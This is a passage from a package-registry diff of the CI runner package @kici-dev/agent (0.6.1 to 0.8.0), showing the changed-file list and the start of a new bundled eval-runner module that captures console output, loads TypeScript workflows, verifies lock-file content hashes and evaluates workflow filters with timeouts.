@kici-dev/agent 0.6.1 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/config.d.ts +38 -38
- package/dist/eval-runner.js +1866 -0
- package/dist/execution/dep-installer.d.ts +28 -7
- package/dist/execution/eval-context.d.ts +114 -0
- package/dist/execution/global-eval-types.d.ts +26 -0
- package/dist/execution/job-runner.d.ts +23 -75
- package/dist/execution/npm-registry-config.d.ts +6 -0
- package/dist/execution/rule-evaluator.d.ts +2 -1
- package/dist/execution/sandbox/bare-metal-sandbox.d.ts +6 -0
- package/dist/execution/sandbox/container-hardening.d.ts +8 -0
- package/dist/execution/sandbox/container-sandbox.d.ts +9 -0
- package/dist/execution/sandbox/eval-dispatch.d.ts +28 -0
- package/dist/execution/sandbox/eval-fork-runner.d.ts +43 -0
- package/dist/execution/sandbox/eval-runner.d.ts +21 -0
- package/dist/execution/sandbox/fork-runner.d.ts +23 -0
- package/dist/execution/sandbox/ipc-protocol.d.ts +82 -8
- package/dist/execution/sandbox/job-network.d.ts +91 -0
- package/dist/execution/sandbox/log-masker.d.ts +38 -0
- package/dist/execution/sandbox/types.d.ts +6 -0
- package/dist/execution/sandbox/workflow-runner.d.ts +1 -1
- package/dist/execution/source-packer.d.ts +4 -4
- package/dist/execution/source-restore.d.ts +28 -13
- package/dist/execution/workflow-loader.d.ts +16 -13
- package/dist/execution/yarnrc-berry-config.d.ts +6 -4
- package/dist/index.js +83 -40
- package/dist/provenance/statement-builder.d.ts +19 -8
- package/dist/server.js +1530 -1666
- package/dist/workflow-runner-bundle.js +1129 -192
- package/dist/workflow-runner.js +395 -149
- package/dist/ws/orchestrator-client.d.ts +4 -0
- package/package.json +6 -5
- package/sbom.spdx.json +66 -66
|
@@ -0,0 +1,1866 @@
|
|
|
1
|
+
import { createRequire, register } from "node:module";
|
|
2
|
+
import { normalizeLineEndings, sha256, toErrorMessage } from "@kici-dev/shared";
|
|
3
|
+
import { buildKiciApi, buildNeedsContext, createFilterContext, setJobOutputsMap, setStepOutputsMap, setStepRefMap } from "@kici-dev/sdk/internal";
|
|
4
|
+
import { AsyncLocalStorage } from "node:async_hooks";
|
|
5
|
+
import { format } from "node:util";
|
|
6
|
+
import path, { join } from "node:path";
|
|
7
|
+
import fsPromises, { writeFile } from "node:fs/promises";
|
|
8
|
+
import { pathToFileURL } from "node:url";
|
|
9
|
+
import { COMPILE_SCHEMA_VERSION, COMPILE_SCHEMA_VERSION as COMPILE_SCHEMA_VERSION$1, collectSourceSymlinks, findKiciDir, hashKiciSourceTree, hashedSymlinkDriftNote } from "@kici-dev/core/kici-source-digest";
|
|
10
|
+
import { isDynamicGroupRef, isDynamicJobFn, isParallelGroup, isStaticArray, isStaticObject } from "@kici-dev/sdk";
|
|
11
|
+
import { $ } from "zx";
|
|
12
|
+
import { LogStream, MAX_MATRIX_MATERIALIZATION, MatrixShapeError, applyIncludeExclude, expandMatrix, matrixCombinationCount, resolveWhenToRunOn } from "@kici-dev/engine";
|
|
13
|
+
import { execFileSync } from "node:child_process";
|
|
14
|
+
import { makeTempDir } from "@kici-dev/core/tmp";
|
|
15
|
+
import { normalizeRunsOnToMatchers } from "@kici-dev/engine/labels/compile";
|
|
16
|
+
var __defProp = Object.defineProperty;
|
|
17
|
+
var __esmMin = (fn, res, err) => () => {
|
|
18
|
+
if (err) throw err[0];
|
|
19
|
+
try {
|
|
20
|
+
return fn && (res = fn(fn = 0)), res;
|
|
21
|
+
} catch (e) {
|
|
22
|
+
throw err = [e], e;
|
|
23
|
+
}
|
|
24
|
+
};
|
|
25
|
+
var __exportAll = (all, no_symbols) => {
|
|
26
|
+
let target = {};
|
|
27
|
+
for (var name in all) __defProp(target, name, {
|
|
28
|
+
get: all[name],
|
|
29
|
+
enumerable: true
|
|
30
|
+
});
|
|
31
|
+
if (!no_symbols) __defProp(target, Symbol.toStringTag, { value: "Module" });
|
|
32
|
+
return target;
|
|
33
|
+
};
|
|
34
|
+
//#endregion
|
|
35
|
+
//#region src/execution/console-capture.ts
|
|
36
|
+
/**
|
|
37
|
+
* AsyncLocalStorage holding the active CaptureSink.
|
|
38
|
+
*
|
|
39
|
+
* When a sink is active, the patched console.* methods route formatted lines
|
|
40
|
+
* to the sink. When no sink is active, the patched methods fall through to
|
|
41
|
+
* the original console methods.
|
|
42
|
+
*
|
|
43
|
+
* Nested runCaptured() shadows the outer sink for the duration of the inner
|
|
44
|
+
* scope; ALS restores the outer sink when the inner scope exits.
|
|
45
|
+
*/
|
|
46
|
+
const consoleCapture = new AsyncLocalStorage();
|
|
47
|
+
const METHODS = [
|
|
48
|
+
"log",
|
|
49
|
+
"error",
|
|
50
|
+
"warn",
|
|
51
|
+
"info",
|
|
52
|
+
"debug"
|
|
53
|
+
];
|
|
54
|
+
const originals = {
|
|
55
|
+
log: console.log.bind(console),
|
|
56
|
+
error: console.error.bind(console),
|
|
57
|
+
warn: console.warn.bind(console),
|
|
58
|
+
info: console.info.bind(console),
|
|
59
|
+
debug: console.debug.bind(console)
|
|
60
|
+
};
|
|
61
|
+
let installed = false;
|
|
62
|
+
/**
|
|
63
|
+
* Install monkey-patches on console.log / error / warn / info / debug.
|
|
64
|
+
*
|
|
65
|
+
* Idempotent: subsequent calls are no-ops.
|
|
66
|
+
*
|
|
67
|
+
* Does NOT patch process.stdout.write or process.stderr.write. Winston's
|
|
68
|
+
* Console transport writes through those streams directly, so patching them
|
|
69
|
+
* at the agent level would leak agent-internal logger output into user step
|
|
70
|
+
* streams whenever Winston fires on an async stack descended from a user
|
|
71
|
+
* function. Winston bypasses console.*, so patching only console.* is
|
|
72
|
+
* collision-free.
|
|
73
|
+
*/
|
|
74
|
+
function installConsoleCapture() {
|
|
75
|
+
if (installed) return;
|
|
76
|
+
installed = true;
|
|
77
|
+
for (const m of METHODS) console[m] = (...args) => {
|
|
78
|
+
const sink = consoleCapture.getStore();
|
|
79
|
+
if (!sink) {
|
|
80
|
+
originals[m](...args);
|
|
81
|
+
return;
|
|
82
|
+
}
|
|
83
|
+
const lines = format(...args).split("\n");
|
|
84
|
+
for (const line of lines) if (line) sink.addLine(line);
|
|
85
|
+
};
|
|
86
|
+
}
|
|
87
|
+
/**
|
|
88
|
+
* Run `fn` with the given sink active. console.* calls inside `fn` and any
|
|
89
|
+
* async descendants route to the sink until the returned promise resolves.
|
|
90
|
+
*
|
|
91
|
+
* If `installConsoleCapture()` has not been called, the sink is still tracked
|
|
92
|
+
* in ALS but console.* calls are not intercepted.
|
|
93
|
+
*/
|
|
94
|
+
function runCaptured(sink, fn) {
|
|
95
|
+
return new Promise((resolve, reject) => {
|
|
96
|
+
consoleCapture.run(sink, () => {
|
|
97
|
+
try {
|
|
98
|
+
Promise.resolve(fn()).then(resolve, reject);
|
|
99
|
+
} catch (err) {
|
|
100
|
+
reject(err);
|
|
101
|
+
}
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
}
|
|
105
|
+
//#endregion
|
|
106
|
+
//#region src/execution/generator-context.ts
|
|
107
|
+
/**
|
|
108
|
+
* Build the context handed to a `DynamicJobFn`.
|
|
109
|
+
*
|
|
110
|
+
* Optional members are spread conditionally rather than assigned `undefined`,
|
|
111
|
+
* so an absent `needs` / repo pair leaves no key behind — a present-but-
|
|
112
|
+
* undefined key reads as "declared" to a generator and serializes differently
|
|
113
|
+
* between the two evaluations.
|
|
114
|
+
*/
|
|
115
|
+
function buildGeneratorContext(input) {
|
|
116
|
+
const { workflowName, event, env, repos, needs, $, log, kici } = input;
|
|
117
|
+
return {
|
|
118
|
+
$,
|
|
119
|
+
ctx: {
|
|
120
|
+
workflow: { name: workflowName },
|
|
121
|
+
event,
|
|
122
|
+
...needs && { needs }
|
|
123
|
+
},
|
|
124
|
+
log,
|
|
125
|
+
env,
|
|
126
|
+
kici,
|
|
127
|
+
...repos && {
|
|
128
|
+
sourceRepo: repos.sourceRepo,
|
|
129
|
+
workflowRepo: repos.workflowRepo
|
|
130
|
+
}
|
|
131
|
+
};
|
|
132
|
+
}
|
|
133
|
+
var init_generator_context = __esmMin((() => {}));
|
|
134
|
+
//#endregion
|
|
135
|
+
//#region src/execution/workflow-loader.ts
|
|
136
|
+
/**
|
|
137
|
+
* Workflow module loading: transforms `.ts` workflow files on import via the
|
|
138
|
+
* `@kici-dev/core/ts-loader-hook` oxc-transform ESM loader hook. Customer
|
|
139
|
+
* workflow code is imported
|
|
140
|
+
* directly from the cloned / extracted source tree — no intermediate bundle,
|
|
141
|
+
* no Rolldown step at runtime. `@kici-dev/sdk` and host-repo deps resolve via
|
|
142
|
+
* Node's normal ESM lookup against `.kici/node_modules/`.
|
|
143
|
+
*/
|
|
144
|
+
var workflow_loader_exports = /* @__PURE__ */ __exportAll({
|
|
145
|
+
COMPILE_SCHEMA_VERSION: () => COMPILE_SCHEMA_VERSION$1,
|
|
146
|
+
ensureLoaderHookRegistered: () => ensureLoaderHookRegistered,
|
|
147
|
+
extractDynamicJobFn: () => extractDynamicJobFn,
|
|
148
|
+
extractSteps: () => extractSteps,
|
|
149
|
+
extractStepsFromDynamicJob: () => extractStepsFromDynamicJob,
|
|
150
|
+
extractWorkflow: () => extractWorkflow,
|
|
151
|
+
loadWorkflowSource: () => loadWorkflowSource,
|
|
152
|
+
resolveWorkflowSdkSetters: () => resolveWorkflowSdkSetters
|
|
153
|
+
});
|
|
154
|
+
/**
|
|
155
|
+
* Resolve the `@kici-dev/sdk` instance the workflow module itself imports.
|
|
156
|
+
*
|
|
157
|
+
* The workflow's `.result` proxies read the module-global step-outputs map of
|
|
158
|
+
* whichever SDK copy the workflow file resolves — which is generally a
|
|
159
|
+
* different physical module than the agent's bundled SDK (the workflow is
|
|
160
|
+
* imported from the cloned source tree and resolves its deps against that
|
|
161
|
+
* tree's `node_modules`). Resolving via `createRequire(workflowFilePath)` walks
|
|
162
|
+
* `node_modules` from the workflow file exactly the way the workflow's own
|
|
163
|
+
* `import '@kici-dev/sdk'` does — including any hoisted copy — so the returned
|
|
164
|
+
* setters mutate the SAME module-global map object the proxies read. Node caches
|
|
165
|
+
* ESM modules by resolved URL, so importing that path yields the workflow's live
|
|
166
|
+
* singleton, not a fresh copy.
|
|
167
|
+
*
|
|
168
|
+
* Both specifiers resolve to the same module-global maps — `internal.ts` and the
|
|
169
|
+
* root barrel re-export the same `outputs.js` bindings — so the fallback below
|
|
170
|
+
* changes which entry is imported, never which singleton is mutated.
|
|
171
|
+
*
|
|
172
|
+
* Falls back to the agent's bundled setters when neither resolves (mirrors
|
|
173
|
+
* `resolveSdkSetters` in the compiler's test runner).
|
|
174
|
+
*/
|
|
175
|
+
async function resolveWorkflowSdkSetters(workflowFilePath) {
|
|
176
|
+
const req = createRequire(workflowFilePath);
|
|
177
|
+
for (const specifier of ["@kici-dev/sdk/internal", "@kici-dev/sdk"]) try {
|
|
178
|
+
const sdkEntry = req.resolve(specifier);
|
|
179
|
+
const sdk = await import(pathToFileURL(sdkEntry).href);
|
|
180
|
+
if (typeof sdk.setStepOutputsMap === "function" && typeof sdk.setStepRefMap === "function" && typeof sdk.setJobOutputsMap === "function") return {
|
|
181
|
+
setStepOutputsMap: sdk.setStepOutputsMap,
|
|
182
|
+
setStepRefMap: sdk.setStepRefMap,
|
|
183
|
+
setJobOutputsMap: sdk.setJobOutputsMap
|
|
184
|
+
};
|
|
185
|
+
} catch {}
|
|
186
|
+
return {
|
|
187
|
+
setStepOutputsMap,
|
|
188
|
+
setStepRefMap,
|
|
189
|
+
setJobOutputsMap
|
|
190
|
+
};
|
|
191
|
+
}
|
|
192
|
+
function ensureLoaderHookRegistered() {
|
|
193
|
+
if (hookRegistered) return;
|
|
194
|
+
const hookPath = process.env.KICI_TS_LOADER_HOOK_PATH;
|
|
195
|
+
if (hookPath) register(pathToFileURL(hookPath).href, import.meta.url);
|
|
196
|
+
else register("@kici-dev/core/ts-loader-hook", import.meta.url);
|
|
197
|
+
hookRegistered = true;
|
|
198
|
+
}
|
|
199
|
+
/**
|
|
200
|
+
* Compute content hash for a workflow (same formula as `@kici-dev/compiler`
|
|
201
|
+
* lockfile/hasher.ts). Used to verify the loaded source matches the lock
|
|
202
|
+
* file's contentHash when `expectedContentHash` is provided.
|
|
203
|
+
*
|
|
204
|
+
* Line endings in `rawSource` (and inside `assetDigest`) are normalized to LF
|
|
205
|
+
* before hashing. This matches the compiler-side normalization in
|
|
206
|
+
* `@kici-dev/compiler` `lockfile/hasher.ts` so Windows agents — where Git's
|
|
207
|
+
* `core.autocrlf=true` system default checks out text files with CRLF — agree
|
|
208
|
+
* with lockfiles compiled on Linux (LF).
|
|
209
|
+
*/
|
|
210
|
+
function computeContentHash(rawSource, assetDigest) {
|
|
211
|
+
let input = `${COMPILE_SCHEMA_VERSION}:${normalizeLineEndings(rawSource)}`;
|
|
212
|
+
if (assetDigest !== void 0 && assetDigest.length > 0) input += `\0${normalizeLineEndings(assetDigest)}`;
|
|
213
|
+
return sha256(input);
|
|
214
|
+
}
|
|
215
|
+
/**
|
|
216
|
+
* The compile schema version the lock file records for `sourceFile`, or null
|
|
217
|
+
* when the tree carries no readable lock (a `file://` in-place run, a workflow
|
|
218
|
+
* outside the `.kici/` convention, a hand-built fixture).
|
|
219
|
+
*
|
|
220
|
+
* The source tarball carries `.kici/kici.lock.json` — the digest excludes it,
|
|
221
|
+
* but `source-packer.ts` packs it — so the agent can read the producing
|
|
222
|
+
* compiler's schema version from the tree it already has, with no wire field
|
|
223
|
+
* to plumb and no protocol change.
|
|
224
|
+
*
|
|
225
|
+
* A malformed or unreadable lock returns null rather than throwing: this is a
|
|
226
|
+
* diagnostic gate in front of the real hash check, so it must never convert a
|
|
227
|
+
* bad lock into a worse error than the hash comparison already gives.
|
|
228
|
+
*/
|
|
229
|
+
async function readLockCompileSchemaVersion(kiciDir, sourceFile) {
|
|
230
|
+
let parsed;
|
|
231
|
+
try {
|
|
232
|
+
parsed = JSON.parse(await fsPromises.readFile(path.join(kiciDir, "kici.lock.json"), "utf-8"));
|
|
233
|
+
} catch {
|
|
234
|
+
return null;
|
|
235
|
+
}
|
|
236
|
+
const workflows = parsed?.workflows;
|
|
237
|
+
if (!Array.isArray(workflows)) return null;
|
|
238
|
+
const normalize = (p) => p.replaceAll("\\", "/").replace(/^\.\//, "");
|
|
239
|
+
const target = normalize(sourceFile);
|
|
240
|
+
const versionOf = (w) => {
|
|
241
|
+
const v = w?.compileSchemaVersion;
|
|
242
|
+
return typeof v === "number" && Number.isFinite(v) && v > 0 ? v : null;
|
|
243
|
+
};
|
|
244
|
+
for (const w of workflows) {
|
|
245
|
+
const file = w?.source?.file;
|
|
246
|
+
if (typeof file === "string" && normalize(file) === target) return versionOf(w);
|
|
247
|
+
}
|
|
248
|
+
for (const w of workflows) {
|
|
249
|
+
const v = versionOf(w);
|
|
250
|
+
if (v !== null) return v;
|
|
251
|
+
}
|
|
252
|
+
return null;
|
|
253
|
+
}
|
|
254
|
+
async function buildAssetDigestFromResolvedPaths(workDir, resolvedPaths) {
|
|
255
|
+
const parts = [];
|
|
256
|
+
for (const rel of resolvedPaths) {
|
|
257
|
+
const abs = path.join(workDir, rel);
|
|
258
|
+
try {
|
|
259
|
+
const content = await fsPromises.readFile(abs, "utf-8");
|
|
260
|
+
parts.push(`${rel}\n${content}`);
|
|
261
|
+
} catch {
|
|
262
|
+
parts.push(`${rel}\n`);
|
|
263
|
+
}
|
|
264
|
+
}
|
|
265
|
+
return parts.join("");
|
|
266
|
+
}
|
|
267
|
+
/**
|
|
268
|
+
* Load a workflow module by dynamic-importing its source file.
|
|
269
|
+
*
|
|
270
|
+
* Registers the oxc-transform loader hook (idempotent), then dynamic-imports
|
|
271
|
+
* the `.ts` file. Transitive imports resolve against the workspace's
|
|
272
|
+
* `node_modules/` the same way any `tsx`-style runner would — so host-repo
|
|
273
|
+
* helpers and `@kici-dev/sdk` Just Work.
|
|
274
|
+
*
|
|
275
|
+
* When `expectedContentHash` is provided, verifies the extracted `.kici/` tree
|
|
276
|
+
* matches the hash in the lock file. It re-hashes the whole tree, not the entry
|
|
277
|
+
* file alone, so an edit to an imported helper is caught — that was the gap
|
|
278
|
+
* that let a warm cache restore a stale tarball and run the OLD helper green.
|
|
279
|
+
* Drift produces a descriptive error that surfaces the baked agent SDK
|
|
280
|
+
* fingerprint (useful when debugging "is the agent running a stale build?").
|
|
281
|
+
*/
|
|
282
|
+
async function loadWorkflowSource(workDir, sourceFile, expectedContentHash, resolvedHashFiles) {
|
|
283
|
+
ensureLoaderHookRegistered();
|
|
284
|
+
const filePath = path.join(workDir, sourceFile);
|
|
285
|
+
if (expectedContentHash) {
|
|
286
|
+
const kiciDir = findKiciDir(filePath);
|
|
287
|
+
if (kiciDir) {
|
|
288
|
+
const lockVersion = await readLockCompileSchemaVersion(kiciDir, sourceFile);
|
|
289
|
+
if (lockVersion !== null && lockVersion !== COMPILE_SCHEMA_VERSION) throw new Error(`kici.lock.json was compiled by an incompatible @kici-dev/compiler: the lock declares compile schema ${lockVersion}, this agent implements ${COMPILE_SCHEMA_VERSION}. The schema version is mixed into every contentHash, so recompiling cannot reconcile them. Align the versions: upgrade the agent to one implementing schema ${lockVersion}, or pin @kici-dev/compiler to a release implementing schema ${COMPILE_SCHEMA_VERSION} and recompile (agent baked @kici-dev/sdk@${AGENT_SDK_VERSION} bundleHash=${AGENT_SDK_BUNDLE_HASH}).`);
|
|
290
|
+
}
|
|
291
|
+
const rawSource = (kiciDir ? await hashKiciSourceTree(kiciDir) : "") || await fsPromises.readFile(filePath, "utf-8");
|
|
292
|
+
let assetDigest;
|
|
293
|
+
if (resolvedHashFiles?.length) assetDigest = await buildAssetDigestFromResolvedPaths(workDir, resolvedHashFiles);
|
|
294
|
+
const actualHash = computeContentHash(rawSource, assetDigest);
|
|
295
|
+
if (actualHash !== expectedContentHash) {
|
|
296
|
+
const symlinkNote = kiciDir ? hashedSymlinkDriftNote(await collectSourceSymlinks(kiciDir)) : "";
|
|
297
|
+
throw new Error(`Lock file is out of date: workflow source changed without regenerating kici.lock.json (expected contentHash ${expectedContentHash}, got ${actualHash}, agent baked @kici-dev/sdk@${AGENT_SDK_VERSION} bundleHash=${AGENT_SDK_BUNDLE_HASH}). Run 'kici compile' and commit the updated lock file.${symlinkNote}`);
|
|
298
|
+
}
|
|
299
|
+
}
|
|
300
|
+
return {
|
|
301
|
+
module: await import(pathToFileURL(filePath).href + `?t=${Date.now()}`),
|
|
302
|
+
sdkSetters: await resolveWorkflowSdkSetters(filePath)
|
|
303
|
+
};
|
|
304
|
+
}
|
|
305
|
+
/**
|
|
306
|
+
* Type guard for Workflow shape (discriminant: `_tag === 'Workflow'`).
|
|
307
|
+
*/
|
|
308
|
+
function isWorkflow(value) {
|
|
309
|
+
return typeof value === "object" && value !== null && "_tag" in value && value._tag === "Workflow";
|
|
310
|
+
}
|
|
311
|
+
/**
|
|
312
|
+
* Extract a workflow by name from a module's exports.
|
|
313
|
+
*
|
|
314
|
+
* Searches:
|
|
315
|
+
* 1. Default export (single Workflow or array of Workflows)
|
|
316
|
+
* 2. Named exports
|
|
317
|
+
*/
|
|
318
|
+
function extractWorkflow(module, workflowName) {
|
|
319
|
+
if (module.default) {
|
|
320
|
+
const defaultExport = module.default;
|
|
321
|
+
if (isWorkflow(defaultExport) && defaultExport.name === workflowName) return defaultExport;
|
|
322
|
+
if (Array.isArray(defaultExport)) {
|
|
323
|
+
const found = defaultExport.find((item) => isWorkflow(item) && item.name === workflowName);
|
|
324
|
+
if (found) return found;
|
|
325
|
+
}
|
|
326
|
+
}
|
|
327
|
+
for (const [, value] of Object.entries(module)) if (isWorkflow(value) && value.name === workflowName) return value;
|
|
328
|
+
throw new Error(`Workflow '${workflowName}' not found in module exports`);
|
|
329
|
+
}
|
|
330
|
+
/**
|
|
331
|
+
* Extract a dynamic job function from a workflow by index.
|
|
332
|
+
*/
|
|
333
|
+
function extractDynamicJobFn(workflow, index) {
|
|
334
|
+
if (index < 0 || index >= workflow.jobs.length) throw new Error(`Job index ${index} out of bounds (workflow '${workflow.name}' has ${workflow.jobs.length} jobs)`);
|
|
335
|
+
const item = workflow.jobs[index];
|
|
336
|
+
if (!isDynamicJobFn(item)) throw new Error(`Job at index ${index} in workflow '${workflow.name}' is not a dynamic job fn`);
|
|
337
|
+
return item;
|
|
338
|
+
}
|
|
339
|
+
/**
|
|
340
|
+
* Extract steps from a static job within a workflow.
|
|
341
|
+
*/
|
|
342
|
+
function extractSteps(workflow, jobName) {
|
|
343
|
+
for (const item of workflow.jobs) if (!isDynamicJobFn(item) && item.name === jobName) return item.steps;
|
|
344
|
+
throw new Error(`Static job '${jobName}' not found in workflow '${workflow.name}'`);
|
|
345
|
+
}
|
|
346
|
+
/**
|
|
347
|
+
* Extract steps from a job generated by a DynamicJobFn.
|
|
348
|
+
*
|
|
349
|
+
* Re-evaluates the DynamicJobFn to get the generated Job[] array, then finds
|
|
350
|
+
* the job by name and returns its steps. This is necessary because
|
|
351
|
+
* DynamicJobFn-generated jobs' step functions are closures that can only be
|
|
352
|
+
* obtained by calling the DynamicJobFn again.
|
|
353
|
+
*
|
|
354
|
+
* The function must be deterministic: given the same event context, it should
|
|
355
|
+
* return the same jobs with the same step functions. When `expectedJobNames`
|
|
356
|
+
* is provided, the re-evaluated output is compared against the original eval.
|
|
357
|
+
* A sibling mismatch logs a warning; a missing target job throws a clear
|
|
358
|
+
* determinism error.
|
|
359
|
+
*/
|
|
360
|
+
async function extractStepsFromDynamicJob(workflow, dynamicIndex, jobName, event, env, apiTransport, expectedJobNames, upstreamSnapshot, declaredNeeds, repos) {
|
|
361
|
+
const dynamicFn = extractDynamicJobFn(workflow, dynamicIndex);
|
|
362
|
+
const { $ } = await import("zx");
|
|
363
|
+
const { createLogger } = await import("@kici-dev/shared");
|
|
364
|
+
const { buildKiciApi, buildNeedsContext } = await import("@kici-dev/sdk");
|
|
365
|
+
const log = createLogger({ prefix: `dynamic-job-fn:${workflow.name}` });
|
|
366
|
+
const kici = buildKiciApi(apiTransport ?? (() => Promise.reject(/* @__PURE__ */ new Error("Agent API not available during re-evaluation"))));
|
|
367
|
+
const needs = upstreamSnapshot ? buildNeedsContext(upstreamSnapshot, declaredNeeds ?? []) : void 0;
|
|
368
|
+
const generatedJobs = await dynamicFn(buildGeneratorContext({
|
|
369
|
+
workflowName: workflow.name,
|
|
370
|
+
event,
|
|
371
|
+
env,
|
|
372
|
+
...repos && { repos },
|
|
373
|
+
...needs && { needs },
|
|
374
|
+
$,
|
|
375
|
+
log,
|
|
376
|
+
kici
|
|
377
|
+
}));
|
|
378
|
+
const actualNames = generatedJobs.map((j) => j.name);
|
|
379
|
+
let droppedJobs = [];
|
|
380
|
+
if (expectedJobNames) {
|
|
381
|
+
const expectedSet = new Set(expectedJobNames);
|
|
382
|
+
const actualSet = new Set(actualNames);
|
|
383
|
+
const missing = expectedJobNames.filter((n) => !actualSet.has(n));
|
|
384
|
+
const extra = actualNames.filter((n) => !expectedSet.has(n));
|
|
385
|
+
droppedJobs = missing.filter((n) => n !== jobName);
|
|
386
|
+
if (missing.length > 0 || extra.length > 0) {
|
|
387
|
+
const detail = (missing.length > 0 ? `missing: [${missing.join(", ")}]` : "") + (missing.length > 0 && extra.length > 0 ? "; " : "") + (extra.length > 0 ? `unexpected: [${extra.join(", ")}]` : "");
|
|
388
|
+
if (missing.includes(jobName)) throw new Error(`DynamicJobFn non-deterministic re-evaluation: job '${jobName}' no longer exists (workflow '${workflow.name}', index ${dynamicIndex}). Original eval produced: [${expectedJobNames.join(", ")}], re-eval produced: [${actualNames.join(", ")}]. DynamicJobFn must return the same jobs given the same event context. See docs/architecture/dynamic-jobs.md for guidance.`);
|
|
389
|
+
log.warn(`DynamicJobFn non-deterministic re-evaluation detected (workflow '${workflow.name}', index ${dynamicIndex}): ${detail}. Target job '${jobName}' still exists — proceeding. DynamicJobFn should return the same jobs given the same event context.`);
|
|
390
|
+
}
|
|
391
|
+
}
|
|
392
|
+
for (const genJob of generatedJobs) if (genJob.name === jobName) return {
|
|
393
|
+
steps: genJob.steps,
|
|
394
|
+
droppedJobs
|
|
395
|
+
};
|
|
396
|
+
throw new Error(`Generated job '${jobName}' not found in DynamicJobFn output (workflow '${workflow.name}', index ${dynamicIndex}). Available: ${actualNames.join(", ")}`);
|
|
397
|
+
}
|
|
398
|
+
var AGENT_SDK_VERSION, AGENT_SDK_BUNDLE_HASH, hookRegistered;
|
|
399
|
+
var init_workflow_loader = __esmMin((() => {
|
|
400
|
+
init_generator_context();
|
|
401
|
+
AGENT_SDK_VERSION = "0.8.0";
|
|
402
|
+
AGENT_SDK_BUNDLE_HASH = "065963c7765dc8d87e04d45f57d7e15be1613da705e4ff3ec3742fd1408b7bf5";
|
|
403
|
+
hookRegistered = false;
|
|
404
|
+
}));
|
|
405
|
+
//#endregion
|
|
406
|
+
//#region src/execution/timeout-util.ts
|
|
407
|
+
init_workflow_loader();
|
|
408
|
+
/**
|
|
409
|
+
* Shared timeout utility for wrapping async operations with a deadline.
|
|
410
|
+
*
|
|
411
|
+
* Used by init-runner (dynamic field evaluation) and dynamic job function evaluation.
|
|
412
|
+
*/
|
|
413
|
+
/**
|
|
414
|
+
* Execute a function with a timeout using Promise.race.
|
|
415
|
+
* Throws if the function does not resolve within the given timeout.
|
|
416
|
+
*/
|
|
417
|
+
async function withTimeout(fn, timeoutMs, label) {
|
|
418
|
+
const ac = new AbortController();
|
|
419
|
+
const timer = setTimeout(() => ac.abort(), timeoutMs);
|
|
420
|
+
try {
|
|
421
|
+
return await Promise.race([Promise.resolve(fn()), new Promise((_, reject) => {
|
|
422
|
+
ac.signal.addEventListener("abort", () => reject(/* @__PURE__ */ new Error(`Timeout after ${timeoutMs}ms evaluating ${label}`)));
|
|
423
|
+
})]);
|
|
424
|
+
} finally {
|
|
425
|
+
clearTimeout(timer);
|
|
426
|
+
}
|
|
427
|
+
}
|
|
428
|
+
//#endregion
|
|
429
|
+
//#region src/execution/init-runner.ts
|
|
430
|
+
/**
|
|
431
|
+
* Run a workflow's `filter` and report whether the workflow applies.
|
|
432
|
+
*
|
|
433
|
+
* Shared by both agent-side evaluation sites for a same-repo workflow: the init
|
|
434
|
+
* job that gates each static job's dispatch, and the dynamic-eval job that gates
|
|
435
|
+
* whether a generator runs at all. Both must reach the same verdict from the same
|
|
436
|
+
* inputs, so neither builds the context itself.
|
|
437
|
+
*
|
|
438
|
+
* The context is built through `createFilterContext` rather than as an object
|
|
439
|
+
* literal: the factory installs `changedFiles` as a throwing getter, so a filter
|
|
440
|
+
* that reads the diff on an event that has none fails loudly instead of seeing an
|
|
441
|
+
* empty list. A `false` verdict dispatches none of the workflow's own jobs, so a
|
|
442
|
+
* silently-empty diff would suppress it on a mistake. On this same-repo path the
|
|
443
|
+
* verdict is at least recoverable — the run row exists, carrying the `__init__*`
|
|
444
|
+
* jobs, and this evaluation's own step log records the verdict; it is the
|
|
445
|
+
* organization-wide path, which runs elsewhere, that leaves nothing behind.
|
|
446
|
+
*
|
|
447
|
+
* A throwing filter propagates: the evaluating job fails, which surfaces as a
|
|
448
|
+
* failed run. "Could not decide" is never treated as "do not run" — that would
|
|
449
|
+
* be a false green, the same reasoning `buildJobRuleCompletion` applies to a rule
|
|
450
|
+
* whose `check()` threw.
|
|
451
|
+
*/
|
|
452
|
+
async function evaluateWorkflowFilter(workflow, event, input, timeoutMs) {
|
|
453
|
+
if (typeof workflow.filter !== "function") throw new Error(`Workflow '${workflow.name}' is recorded as declaring a filter, but its module exports none — the lock file is out of date. Run 'kici compile' and commit the result.`);
|
|
454
|
+
if (!input) throw new Error(`Workflow '${workflow.name}' declares a filter but the evaluating job supplied no filter context (source tree / changed files) to evaluate it against.`);
|
|
455
|
+
const filterFn = workflow.filter;
|
|
456
|
+
const ctx = createFilterContext({
|
|
457
|
+
sourceRepo: input.sourceRepo,
|
|
458
|
+
workflowRepo: input.workflowRepo,
|
|
459
|
+
event,
|
|
460
|
+
changedFiles: input.changedFiles,
|
|
461
|
+
changedFilesStatus: input.changedFilesStatus,
|
|
462
|
+
...input.env && { env: input.env },
|
|
463
|
+
...input.$ && { $: input.$ }
|
|
464
|
+
});
|
|
465
|
+
const verdict = await withTimeout(() => filterFn(ctx), timeoutMs, `filter for workflow '${workflow.name}'`);
|
|
466
|
+
return Boolean(verdict);
|
|
467
|
+
}
|
|
468
|
+
/**
|
|
469
|
+
* Find a static job by name in a workflow's jobs array.
|
|
470
|
+
* Skips dynamic job functions (factories).
|
|
471
|
+
*/
|
|
472
|
+
function findJobByName(workflow, jobName) {
|
|
473
|
+
for (const item of workflow.jobs) if (!isDynamicJobFn(item) && item.name === jobName) return item;
|
|
474
|
+
throw new Error(`Job '${jobName}' not found in workflow '${workflow.name}'`);
|
|
475
|
+
}
|
|
476
|
+
/**
|
|
477
|
+
* Evaluate dynamic fields (context, env, concurrencyGroup) on a job.
|
|
478
|
+
*
|
|
479
|
+
* Only fields with their corresponding flag set to true AND whose property
|
|
480
|
+
* on the job is a function will be evaluated. All evaluations happen in a
|
|
481
|
+
* single call per.
|
|
482
|
+
*
|
|
483
|
+
* -: If a dynamic function throws, the error propagates (job fails).
|
|
484
|
+
* -: If a dynamic function returns undefined/null, the field is left undefined.
|
|
485
|
+
* -: Each dynamic function call is wrapped in a timeout (default 60s).
|
|
486
|
+
*
|
|
487
|
+
* A workflow-level `filter` is evaluated FIRST when `flags.hasFilter` is set. A
|
|
488
|
+
* `false` verdict returns immediately: no job of that workflow will be
|
|
489
|
+
* dispatched, so evaluating this one's dynamic fields would run customer code
|
|
490
|
+
* whose result nothing can consume.
|
|
